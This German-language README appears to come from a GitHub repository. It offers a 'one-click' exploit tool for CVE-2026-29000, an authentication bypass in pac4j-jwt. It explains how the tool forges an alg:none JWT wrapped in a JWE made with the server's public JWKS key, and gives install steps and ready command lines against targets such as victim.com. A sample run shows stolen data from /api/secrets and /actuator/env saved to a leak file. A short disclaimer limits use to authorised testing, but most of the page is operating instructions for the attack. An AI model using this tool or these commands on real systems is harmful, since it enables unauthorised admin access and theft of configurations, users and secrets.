
CVE-2026-29000 – pac4j-jwt-Authentifizierungsumgehung (CVSS 10.0). Ein-Klick-Admin-Fälschung über JWE-Wrapping mit öffentlichem Schlüssel. Gibt Konfigurationen, Benutzer und Geheimnisse preis. Keep-Alive, Proxy, benutzerdefinierte JWKS. Educatives PoC-Exploit-Tool.
CVE-2026-29000 - Admin-Zugang mit einem Klick via JWT alg:none + JWE-Verschlüsselung
Dieser Exploit bewaffnet CVE-2026-29000, eine kritische Schwachstelle mit CVSS 10.0 in der Bibliothek pac4j-jwt. Durch das Extrahieren des öffentlichen JWKS-Schlüssels des Servers und das Fälschen eines verschlüsselten JWE-Tokens mit alg: none erreicht er eine vollständige Umgehung der Authentifizierung und gewährt mit einem Klick vollständige administrative Rechte.
alg:none-JWT, verpackt in den eigenen öffentlichen Schlüssel des Servers| Bibliothek | Betroffene Versionen | Gepatchte Versionen |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Red-Team-Einsätze bestimmt.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Grundlegender One-Shot-Exploit
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argument Kurz Erforderlich Standard Beschreibung --target -t Ja - Ziel-URL (z. B. https://example.com:8443) --jwks -k Nein automatische Erkennung Benutzerdefinierter JWKS-Endpunktpfad --output -o Nein Keine Erzeugtes JWE-Token in Datei speichern --leak -l Nein leaked_TIMESTAMP.txt Geleakte Daten in Datei speichern --verbose -v Nein False Debug-Ausgabe aktivieren --proxy -p Nein Keine HTTP/HTTPS-Proxy --user-agent -ua Nein Mozilla/5.0... Benutzerdefinierter User-Agent --no-keep-alive - Nein False Session-Keep-Alive deaktivieren --delay - Nein 5.0 Keep-Alive-Ping-Intervall (Sekunden) --max-retries - Nein 3 Maximale Wiederholungsversuche pro fehlgeschlagener Anfrage --ssl-verify - Nein False SSL-Zertifikate überprüfen
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] STUFE 1: RSA-Public-Key aus JWKS abrufen [11:23:15] Suche nach JWKS-Endpunkt... [11:23:16] JWKS gefunden unter /realms/master/protocol/openid-connect/certs [11:23:16] RSA-Public-Key erfolgreich extrahiert
[11:23:16] STUFE 2: JWT mit alg:none erstellen & in JWE verschlüsseln [11:23:16] Gefälschtes JWE-Token (gekürzt): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Token in backdoor.jwe gespeichert
[11:23:16] STUFE 3: Gefälschtes JWE als Bearer-Token senden [11:23:17] ✓ Authentifizierung erfolgreich! Zugriff auf /api/users/me gewährt
[11:23:17] STUFE 4: Zugängliche Endpunkte auflisten & sensible Daten offenlegen [11:23:18] ✓ Offengelegt: /actuator/env (Status 200) [11:23:18] ✓ Offengelegt: /api/users (Status 200) [11:23:18] ✓ Offengelegt: /api/secrets (Status 200) [11:23:18] ✓ Offengelegt: /config/server (Status 200) [11:23:18] ✓ 4 sensible Endpunkte erfasst → in leak.txt gespeichert
[11:23:18] Keep‑alive-Sitzung aktiv (Strg+C zum Beenden) [11:23:18] Token (JWE) ~1 Stunde gültig – bei Ablauf neu erstellen
Schau dir meine anderen Exploit-Repositories an: